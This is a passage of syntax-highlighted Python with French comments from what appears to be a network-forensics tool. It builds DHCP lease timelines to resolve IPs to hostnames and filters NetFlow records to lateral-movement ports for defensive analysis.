16%)">,</span><span class="token plain"> KeyError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Construire la chronologie (simplifié)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        active </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> defaultdict</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token builtin" style="color:hsl(212, 92%, 35%)">list</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ev </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sorted</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            ip </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Assign'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> ip </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    old </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> ev</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">elif</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'Release'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'Lease_Expired'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"> ip </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                old </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">pop</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> old</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ev </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> active</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">items</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ev</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">ip_timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">dict</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[+] DHCP : chronologie chargée pour </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">self</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token string-interpolation interpolation">ip_timeline</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> IPs"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">resolve_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> query_time</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Résoudre une adresse IP en nom d'hôte à un moment donné via la chronologie DHCP."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> start</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> end</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">ip_timeline</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> start </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> query_time </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">end </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">is</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">or</span><span class="token plain"> query_time </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> end</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> hostname</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> mac</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">return</span><span class="token plain"> ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'unknown'</span><span class="token plain">  </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Repli sur IP si pas d'enregistrement DHCP</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">load_netflow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> lateral_ports</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Charger les enregistrements NetFlow, en se concentrant sur les ports de mouvement latéral."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> lateral_ports </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">is</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            lateral_ports </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token number" style="color:hsl(212, 92%, 35%)">445</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">135</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">3389</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5985</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5986</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">22</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">23</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">139</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> row </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> csv</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">DictReader</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">try</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    dst_port </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">int</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> dst_port </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> lateral_ports</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">netflow_events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">fromisoformat</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> dst_port</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'bytes'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">int</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'bytes'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'flags'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">except</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ValueError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> KeyError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[+] NetFlow : chargé </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">self</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token string-interpolation interpolation">netflow_events</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> enregistrements ports mouvement latéral"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">load_auth_logs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token 